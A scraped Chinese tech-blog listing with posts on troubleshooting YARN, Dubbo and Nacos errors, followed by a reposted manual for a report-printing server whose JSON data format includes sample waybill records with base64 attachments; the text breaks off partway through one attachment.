对于因为辅助服务未正确启动而导致的问题,我们需要检查并确保所有服务都已正确启动。要是服务启动碰到状况了,不妨翻翻相关的文档资料,或者找专业的高手来帮帮忙。 总结 总的来说,解决“YARN ResourceManager初始化失败”这个问题需要我们具备一定的专业知识和技能。但是,只要我们有足够多的耐心和敏锐的观察力,就可以按照上面提到的办法,一步一步地把各种可能性都排查个遍,最后稳稳地找到那个真正能解决问题的好法子。最后,我想说的是,虽然这是一个比较棘手的问题,但我们只要有足够的信心和毅力,就一定能迎刃而解!
2024-01-17 21:49:06
567
青山绿水-t
Dubbo
...简单讲,它能让咱们的服务像住在不同房间的小伙伴一样,虽然不在一个屋檐下,但还能互相串门、干活儿。就像你家里的电视、冰箱、空调这些家伙,插上电就能一起工作,超方便! 举个例子,假设你开发了一个电商系统,用户下单时,订单服务要调用库存服务来检查商品是否还有货。在这种情况下,Dubbo就能很好地完成这个任务。哎呀,Dubbo这东西确实挺牛的,功能强大到让人爱不释手,但也不是完美无缺啦!时不时地就会给你来个“报错警告”,而且这些错误啊,很多时候都跟你的环境配置脱不了干系,一不小心就中招了。 记得有一次我调试一个Dubbo项目的时候,就遇到了这个问题。我当时在本地测的时候,那叫一个顺风顺水,啥问题都没有,结果一到生产环境,各种错误蹦出来,看得我头都大了,心里直犯嘀咕:这是不是选错了人生路啊?后来才反应过来,哎呀妈呀,原来是生产环境的网络设置跟本地的不一样,这就搞不定啦,服务之间压根连不上话!所以说啊,在解决Dubbo问题的时候,咱们得结合实际情况来分析,不能一概而论。就像穿衣服一样,得看天气、场合啥的,对吧? --- 二、Dubbo报错信息的特点与常见原因 Dubbo的报错信息通常会包含一些关键信息,比如服务名称、接口版本、错误堆栈等。不过啊,这些东西通常不会直接告诉我们哪里出了岔子,得我们自己去刨根问底才行。 比如说,你可能会看到这样的报错: Failed to invoke remote method: sayHello, on 127.0.0.1:20880 看到这个错误,你是不是会觉得很懵?其实这可能是因为你的服务端没有正确启动,或者客户端的配置不对。又或者是网络不通畅,导致客户端无法连接到服务端。 再比如,你可能会遇到这种错误: No provider available for the service com.example.UserService on the consumer 192.168.1.100 use dubbo version 2.7.8 这表明你的消费者(也就是客户端)找不到提供者(也就是服务端)。哎呀,这问题八成是服务注册中心没整利索,要不就是服务提供方压根没成功注册上。 我的建议是,遇到这种问题时,先别急着改代码,而是要冷静下来分析一下,是不是配置文件出了问题。比如说,你是不是忘记在dubbo.properties里填对了服务地址? --- 三、排查报错的具体步骤 接下来,咱们来聊聊怎么排查这些问题。首先,你需要确认服务端是否正常运行。你可以通过以下命令查看服务端的状态: bash netstat -tuln | grep 20880 如果看不到监听的端口,那肯定是服务端没启动成功。 然后,检查服务注册中心是否正常工作。Dubbo支持多种注册中心,比如Zookeeper、Nacos等。如果你用的是Zookeeper,可以试试进入Zookeeper的客户端,看看服务是否已经注册: bash zkCli.sh -server 127.0.0.1:2181 ls /dubbo/com.example.UserService 如果这里看不到服务,那就说明服务注册中心可能有问题。 最后,别忘了检查客户端的配置。客户端的配置文件通常是dubbo-consumer.xml,里面需要填写服务提供者的地址。例如: xml 如果地址写错了,当然就会报错了。 --- 四、代码示例与实际案例分析 下面我给大家举几个具体的例子,让大家更直观地了解Dubbo的报错排查过程。 示例1:服务启动失败 假设你在本地启动服务端时,发现服务一直无法启动,报错如下: Failed to bind URL: dubbo://192.168.1.100:20880/com.example.UserService?anyhost=true&application=demo-provider&dubbo=2.7.8&interface=com.example.UserService&methods=sayHello&pid=12345&side=provider×tamp=123456789 经过检查,你会发现是因为服务端的application.name配置错了。修改后,重新启动服务端,问题就解决了。 示例2:服务找不到 假设你在客户端调用服务时,发现服务找不到,报错如下: No provider available for the service com.example.UserService on the consumer 192.168.1.100 use dubbo version 2.7.8 经过排查,你发现服务注册中心的地址配置错了。正确的配置应该是: xml 示例3:网络不通 假设你在生产环境中,发现客户端和服务端之间的网络不通,报错如下: ConnectException: Connection refused 这时候,你需要检查防火墙设置,确保服务端的端口是开放的。同时,也要检查客户端的网络配置,确保能够访问服务端。 --- 五、总结与感悟 总的来说,Dubbo的报错信息确实有时候让人摸不着头脑,但它并不是不可战胜的。只要你细心排查,结合具体的环境和配置,总能找到问题的根源。 在这个过程中,我学到的东西太多了。比如说啊,别啥都相信默认设置,每一步最好自己动手试一遍,心里才踏实。再比如说,碰到问题的时候,先别忙着去找同事求助,自己多琢磨琢磨,说不定就能找到解决办法了呢!毕竟,编程的乐趣就在于不断解决问题的过程嘛! 最后,我想说的是,Dubbo虽然复杂,但它真的很棒。希望大家都能掌握它,让它成为我们技术生涯中的一把利器!
2025-03-20 16:29:46
63
雪落无痕
Nacos
Nacos服务器配置文件读取失败:我的排查之旅 一、问题初现 为什么Nacos读不到配置? 事情得从头说起。我最近在做一个微服务项目,用了阿里巴巴的Nacos作为配置中心。哎呀,本来事情都挺顺的,结果有一天突然发现一个服务启动的时候,Nacos居然找不到配置文件了!我当时那个慌啊,心一下子提到了嗓子眼儿。 “不可能啊,之前都好好的,怎么今天就出问题了呢?”我心里嘀咕着。于是我赶紧翻看日志,发现报了一个错:“Config file not found in Nacos”。这下脑子更乱了,心里直嘀咕:“完啦,Nacos服务器该不会是罢工了吧?” 一想到这儿,赶紧三步并作两步跑去查看Nacos的状态,结果一看,嘿,人家还挺精神地在那里工作呢! “不对劲啊,难道是我自己的代码出了问题?”我开始怀疑自己是不是哪里写错了。为了验证这个假设,我先尝试重启服务,但还是不行。然后我又跑到Nacos的配置管理页面瞅了一眼,嘿,发现配置文件确实已经上传成功了,路径啥的一点问题都没有,挺顺利的!这让我更加困惑了。 “真是奇怪,到底是哪里出问题了呢?”我决定一步步排查这个问题。 --- 二、初步排查 配置路径和权限 首先,我想到的第一个可能性就是配置路径的问题。其实 Nacos 是靠路径来找配置文件的,要是路径搞错了,那它就压根找不到文件,更别提读出来了。 我打开代码,仔细检查了Nacos客户端的初始化部分: java NacosConfigService configService = NacosFactory.createConfigService("http://localhost:8848"); 这段代码看起来没问题啊,路径明明指向的是本地的Nacos服务器。而且我之前测试的时候也是这么写的,一直都没问题。 “会不会是配置路径格式变了?”我又重新检查了一遍Nacos的配置管理页面,确认路径确实正确无误。然后我又检查了权限设置,确保服务有权限访问这些配置。 “权限应该没问题吧,毕竟之前都好好的。”我自言自语道。不过嘛,我总觉得不放心,就随手叫上咱们的运维小伙伴帮我看了一下Nacos服务端的配置权限。没想到一看还真发现了点小问题,仔细一排查才发现权限其实没啥大事儿,一切正常! “看来不是路径和权限的问题,那问题到底出在哪呢?”我有点沮丧,但还是不死心,继续往下查。 --- 三、深入排查 网络连接与超时设置 接下来,我开始怀疑是不是网络连接出了问题。毕竟Nacos是基于网络通信的,如果网络不通畅,那自然会导致读取失败。 我先检查了Nacos服务端的日志,发现并没有什么异常。再瞧瞧服务端的那个监听端口,嘿,8848端口不仅开着呢,而且服务还稳稳地在跑着,一点问题没有! “难道是客户端的网络问题?”我心中一动,赶紧查看了服务端的防火墙规则,确认没有阻断任何请求。接着我又尝试ping了一下Nacos服务端的IP地址,结果发现网络连通性很好。 “网络应该没问题啊,那会不会是超时时间设置得太短了?”我灵机一动,想到之前在其他项目中遇到过类似的问题,可能是客户端等待响应的时间太短,导致请求超时。 于是我修改了Nacos客户端的配置,增加了超时时间: java Properties properties = new Properties(); properties.put(PropertyKeyConst.SERVER_ADDR, "localhost:8848"); properties.put(PropertyKeyConst.CONNECT_TIMEOUT_MS, "5000"); // 增加到5秒 NacosConfigService configService = NacosFactory.createConfigService(properties); 重新启动服务后,问题依然存在。看来超时时间也不是主要原因。 “真是搞不懂啊,难道是Nacos本身的问题?”我有些泄气,但还是决定继续深挖下去。 --- 四、终极排查 代码逻辑与异常处理 最后,我决定从代码逻辑入手,看看是不是程序内部的某些逻辑出了问题。于是我打开了Nacos客户端的源码,开始逐行分析。 在Nacos客户端的实现中,有一个方法是用来获取配置的: java String content = configService.getConfig(dataId, group, timeoutMs); 我仔细检查了这个方法的调用点,发现它是在服务启动时被调用的。你瞧,服务一启动呢,就会加载一堆东西,像数据库连接池啦,缓存配置啦,各种各样的“装备”都得准备好,这样它才能顺利开工干活呀! “会不会是某个配置项的加载顺序影响了Nacos的读取?”我突然想到这一点。我琢磨着这事儿,干脆把所有的配置加载顺序仔仔细细捋了一遍,就为了确保Nacos的配置能在服务刚启动的时候就给安排上,别拖到后面出了幺蛾子。 同时,我还加强了异常处理逻辑,给Nacos的读取操作加上了try-catch块,以便捕获具体的异常信息: java try { String content = configService.getConfig(dataId, group, timeoutMs); System.out.println("Config loaded successfully: " + content); } catch (NacosException e) { System.err.println("Failed to load config: " + e.getMessage()); } 经过一番调整后,我再次启动服务,终于看到了一条令人振奋的消息:“Config loaded successfully”。 “太好了!”我长舒一口气,“原来问题就出在这里啊。” --- 五、总结与感悟 经过这次折腾,我对Nacos有了更深的理解。Nacos这东西确实挺牛的,是个超棒的配置管理工具,但用着用着你会发现,它也不是完美无缺的,各种小问题啊、坑啊,时不时就冒出来折腾你一下。其实吧,这些问题真不一定是Nacos自己惹的祸,八成是咱们的代码写得有点问题,或者是环境配错了,带偏了Nacos。 “其实啊,调试的过程就像侦探破案一样,需要耐心和细心。我坐在电脑前忍不住感慨:“哎,有时候觉得这问题看起来平平无奇的,可谁知道背后可能藏着啥惊天大秘密呢!”” 总之,这次经历让我明白了一个道理:遇到问题不要慌,要冷静分析,逐步排查。只有这样,才能找到问题的根本原因,解决问题。希望我的经验能对大家有所帮助,如果有类似的问题,不妨按照这个思路试试看!
2025-04-06 15:56:57
67
清风徐来
转载文章
...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 报表系统 使用说明 (ver 1.3.7.0) 一、概述: B/S应用系统的报表打印一直以来都是一个难题,以前常规的思路是通过在浏览器中安装ActiveX插件以获得直接驱动打印机的能力。 但是,随着浏览器的发展,越来越多的浏览器厂商禁止安装ActiveX,以避免因ActiveX组件导致的各种安全问题。 为解决B/S打印中的痛点,我工作室开发了本报表服务器,完美地解决了在浏览器端不用ActiveX而获得与C/S系统一样的打印能力。 本报表系统不需要在浏览器安装任何插件,只需通过JavaScript即可实现报表精确打印以及打印过程免人工介入。 ------------- 二、特点: 1、高兼容:不需要在浏览器端和服务端安装任何插件,在浏览器插件被各大浏览器纷纷禁用的今天,无插件设计兼容绝大多数浏览器; 2、免安装:软件即拷即用,不安装,不污染操作系统,让操作系统历久弥新; 3、可视化:可视化的模板设计器,通过拖拽即可完成模板设计; 4、高精度:实现精确到毫米的打印精度,对于一些格式复杂,要求精确打印的场合,可以很容易达到毫米级精度; 5、易套打:可视化的模板设计器,在模板中加入一个票据格式的底图,可以很方便地实现套打,对于实现发票、快递面单、支票等打印毫无压力; 6、功能强:从简单报表、主从报表到嵌套报表甚至交叉报表,均能轻松应对。还有一维二维条形码,甚至,还有逆天的脚本功能,只有想不到,没有做不到; 7、自动化: 打印过程中全部自动化,无需象生成PDF、Word、Excel那样还需要人工再点打印; 8、易部署:打印模板既可以部署在客户端(与 cfprint.exe 程序放在同一目录下),也支持部署在服务端随报表数据一起传到客户端; 9、目标活:支持在数据文件中或模板中指定要输出的打印机,发票用针打、报表用激光打、小票用小票机,专机专打; 三、使用前提条件: 1、IE6以上版本、Chrome(谷歌浏览器)4.0以上版本、Firefox 4.0以上版本、Opera 11以上版本、Safari 5.0.2以上版本、iOS 4.2以上版本 或使用Chrome内核、Firefox内核的浏览器均可直接使用本打印系统; 2、在进行打印前,需要先设计好打印模板(模板设计器请见第五节); 3、打印数据必须Json的格式发送给打印服务器,并且数据必须满足指定的格式(见下文); 四、数据格式说明: 下面以一个跨境电商快递面单数据为例解释一下数据各项的含义; { "template": "waybill.fr3", /打印模板文件名。除了指定模板文件以外,还支持把模板嵌入到数据文件中,以实现在服务器端灵活使用打印模板,格式如下:/ /"template": "base64:QTBBRTNEQTE3MkFFQjIzNEFERD<后面省略>" / "ver": 4, /数据模板文件版本/ "Copies": 3, /打印份数,支持指定打印份数/ "Duplex": 1, /是否双面打印,0:默认,不双面,1:垂直,2:水平,3:单面打印(simplex)/ "Printer": "priPrinter", /指定打印机,本系统支持在数据文件中指定打印机,也支持在打印模板中指定打印机/ "PageNumbers": "", /要打印的页码范围,同打印机的打印设置里的格式相同,例如:"1,2,3"表示打印前3页, “2-5”:表示打印第2到5页,“1,2,4-8”表示打印第1、2、4到8页/ "Preview": 1, /是否预览,跟主界面上选择“预览”效果相同,取值为0:不预览,1:预览/ "Tables":[ /数据表数组/ { "Name": "Table1", /表名/ "Cols": [ /字段定义/ { "type": "str", /字段类型,可选值:String,Str,Integer,Int,Smallint,Float,Long, Blob,/ /对于图片、PDF等使用Blob类型,并把值进行Base64编码,并加前缀:/ / "base64/pdf:" 字段值是PDF; "base64/jpg:" 字段值是jpg; "base64/png:" 字段值是png; "base64/gif:" 字段值是gif; / "size": 255, /字段长度/ "name": "HAWB", /字段名称,必须与打印模板中的打印项名称相同/ "required": false /字段是否必填/ }, { "type": "int", "size": 0, "name": "NO", "required": false }, { "type": "float", "size": 0, "name": "报关公司面单号", "required": false }, { "type": "integer", "size": 0, "name": "公司内部单号", "required": false }, { "type": "str", "size": 255, "name": "发件人", "required": false }, { "type": "str", "size": 255, "name": "发件人地址", "required": false }, { "type": "str", "size": 255, "name": "发件人电话", "required": false }, { "type": "str", "size": 255, "name": "发货国家", "required": false }, { "type": "str", "size": 255, "name": "收件人", "required": false }, { "type": "str", "size": 255, "name": "收件人地址", "required": false }, { "type": "str", "size": 255, "name": "收件人电话", "required": false }, { "type": "str", "size": 255, "name": "收货人证件号码", "required": false }, { "type": "str", "size": 255, "name": "收货省份", "required": false }, { "type": "float", "size": 0, "name": "总计费重量", "required": false }, { "type": "int", "size": 0, "name": "总件数", "required": false }, { "type": "float", "size": 0, "name": "申报总价(CNY)", "required": false }, { "type": "float", "size": 0, "name": "申报总价(JPY)", "required": false }, { "type": "int", "size": 0, "name": "件数1", "required": false }, { "type": "str", "size": 255, "name": "品名1", "required": false }, { "type": "float", "size": 0, "name": "单价1(JPY)", "required": false }, { "type": "str", "size": 255, "name": "单位1", "required": false }, { "type": "float", "size": 0, "name": "申报总价1(CNY)", "required": false }, { "type": "float", "size": 0, "name": "申报总价1(JPY)", "required": false }, { "type": "int", "size": 0, "name": "件数2", "required": false }, { "type": "str", "size": 255, "name": "品名2", "required": false }, { "type": "float", "size": 0, "name": "单价2(JPY)", "required": false }, { "type": "str", "size": 255, "name": "单位2", "required": false }, { "type": "float", "size": 0, "name": "申报总价2(CNY)", "required": false }, { "type": "float", "size": 0, "name": "申报总价2(JPY)", "required": false }, { "type": "AutoInc", "size": 0, "name": "ID", "required": false }, { "type": "blob", "size": 0, "name": "附件", "required": false } ], "Data": [ /数据行定义,每一行含义见上面的字段定义/ { "HAWB": "860014010055", "NO": 1, "报关公司面单号": 200303900791, "公司内部单号": 730293, "发件人": "NAKAGAWA SUMIRE 2", "发件人地址": " 991-199-113,Kameido,Koto-ku,Tokyo", "发件人电话": "03-3999-3999", "发货国家": "日本", "收件人": "张三丰", "收件人地址": "上海市闵行区虹梅南路1660弄蔷薇八村99号9999室", "收件人电话": "182-1234-8888", "收货人证件号码": null, "收货省份": null, "总计费重量": 3.2, "总件数": 13, "申报总价(CNY)": null, "申报总价(JPY)": null, "件数1": 10, "品名1": "纸尿片", "单价1(JPY)": null, "单位1": null, "申报总价1(CNY)": null, "申报总价1(JPY)": null, "件数2": null, "品名2": null, "单价2(JPY)": null, "单位2": null, "申报总价2(CNY)": null, "申报总价2(JPY)": null, "ID": 1, "附件": "base64/pdf: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IDI3OCAyNzgKMjc4IDI3OCAyNzggMjc4IDI3OCAyNzggMjc4IDI3OCAyNzggMjc4IDI3OCAyNzggMjc4IDI3OCAyNzggMjc4CjI3OCA1NTYgNTU2IDMzMyA1NTYgNTU2IDU1NiA1NTYgMjc4IDY2NyAyNzggMjc4IDI3OCAyNzggMjc4IDY2NwoyNzggNjY3IDI3OCAyNzggMjc4IDI3OCAyNzggNjY3IDI3OCA2NjcgMjc4IDY2NyAyNzggNjY3IDI3OCAyNzgKMjc4IDY2NyAyNzggNjY3IDU1MiAyNzggMjc4IDI3OCAyNzggNTU2IDI3OCA1NTYgMjc4IDI3OCAyNzggNjY3CjI3OCA2NjcgMjc4IDI3OCAyNzggNjY3IDI3OCA2NjcgMjc4IDY2NyAyNzggNjY3IDI3OCA2NjcgMjc4IDI3OF0KL0VuY29kaW5nL1dpbkFuc2lFbmNvZGluZwovRm9udERlc2NyaXB0b3IgMTEgMCBSCj4+CmVuZG9iagoxMSAwIG9iago8PAovVHlwZS9Gb250RGVzY3JpcHRvcgovRm9udE5hbWUgL0FyaWFsTVQKL0ZsYWdzIDMyCi9Gb250QkJveFstNjY1IC0zMjUgMjAwMCAxMDA2XQovU3RlbVYgOTUKL0l0YWxpY0FuZ2xlIDAKL0NhcEhlaWdodCA5MDUKL0FzY2VudCA5MDUKL0Rlc2NlbnQgLTIxMgo+PgplbmRvYmoKMyAwIG9iago8PAovVHlwZS9QYWdlcwovQ291bnQgMQovS2lkc1s0IDAgUl0KPj4KZW5kb2JqCjIgMCBvYmoKPDwKL1R5cGUvQ2F0YWxvZwovUGFnZXMgMyAwIFIKL1BhZ2VMYXlvdXQvU2luZ2xlUGFnZQovVmlld2VyUHJlZmVyZW5jZXMgMTIgMCBSCj4+CmVuZG9iagoxMiAwIG9iago8PAovVHlwZS9WaWV3ZXJQcmVmZXJlbmNlcwo+PgplbmRvYmoKeHJlZgowIDEzCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAxNiAwMDAwMCBuDQowMDAwMDA0MjEzIDAwMDAwIG4NCjAwMDAwMDQxNTggMDAwMDAgbg0KMDAwMDAwMDcxNiAwMDAwMCBuDQowMDAwMDAwMjQxIDAwMDAwIG4NCjAwMDAwMDA4NzIgMDAwMDAgbg0KMDAwMDAwMjkyNyAwMDAwMCBuDQowMDAwMDAxMjQ1IDAwMDAwIG4NCjAwMDAwMDEwNTUgMDAwMDAgbg0KMDAwMDAwMTU2MiAwMDAwMCBuDQowMDAwMDAzOTg5IDAwMDAwIG4NCjAwMDAwMDQzMTAgMDAwMDAgbg0KdHJhaWxlcgo8PAovU2l6ZSAxMwovSW5mbyAxIDAgUgovUm9vdCAyIDAgUgovSURbPDVBMkU0QzkzOTdENEU0RDE3NkIwOTBDRUU3OTMxMzRGPjw1QTJFNEM5Mzk3RDRFNEQxNzZCMDkwQ0VFNzkzMTM0Rj5dCj4+CnN0YXJ0eHJlZgo0MzU2CiUlRU9GCg==", }, { "HAWB": "860014010035", "NO": 2, "报关公司面单号": 200303900789, "公司内部单号": 730291, "发件人": "NAKAGAWA SUMIRE", "发件人地址": " 991-199-113,Kameido,Koto-ku,Tokyo", "发件人电话": "03-3999-3999", "发货国家": "日本", "收件人": "张无忌", "收件人地址": "上海市闵行区虹梅南路1660弄蔷薇八村88号8888室", "收件人电话": "182-1234-8888", "收货人证件号码": null, "收货省份": null, "总计费重量": 3.2, "总件数": 13, "申报总价(CNY)": null, "申报总价(JPY)": null, "件数1": 10, "品名1": "纸尿片", "单价1(JPY)": null, "单位1": null, "申报总价1(CNY)": null, "申报总价1(JPY)": null, "件数2": null, "品名2": null, "单价2(JPY)": null, "单位2": null, "申报总价2(CNY)": null, "申报总价2(JPY)": null, "ID": 2, "附件":"base64/gif:R0lGODlhrgCuAPcAAAAAAAEBAQICAgMDAwQEBAUFBQYGBgcHBwgICAkJCQoKCgsLCwwMDA0NDQ4ODg8PDxAQEBERERISEhMTExQUFBUVFRYWFhcXFxgYGBkZGRoaGhsbGxwcHB0dHR4eHh8fHyAgICEhISIiIiMjIyQkJCUlJSYmJicnJygoKCkpKSoqKisrKywsLC0tLS4uLi8vLzAwMDExMTIyMjMzMzQ0NDU1NTY2Njc3Nzg4ODk5OTo6Ojs7Ozw8PD09PT4+Pj8/P0BAQEFBQUJCQkNDQ0REREVFRUZGRkdHR0hISElJSUpKSktLS0xMTE1NTU5OTk9PT1BQUFFRUVJSUlNTU1RUVFVVVVZWVldXV1hYWFlZWVpaWltbW1xcXF1dXV5eXl9fX2BgYGFhYWJiYmNjY2RkZGVlZWZmZmdnZ2hoaGlpaWpqamtra2xsbG1tbW5ubm9vb3BwcHFxcXJycnNzc3R0dHV1dXZ2dnd3d3h4eHl5eXp6ent7e3x8fH19fX5+fn9/f4CAgIGBgYKCgoODg4SEhIWFhYaGhoeHh4iIiImJiYqKiouLi4yMjI2NjY6Ojo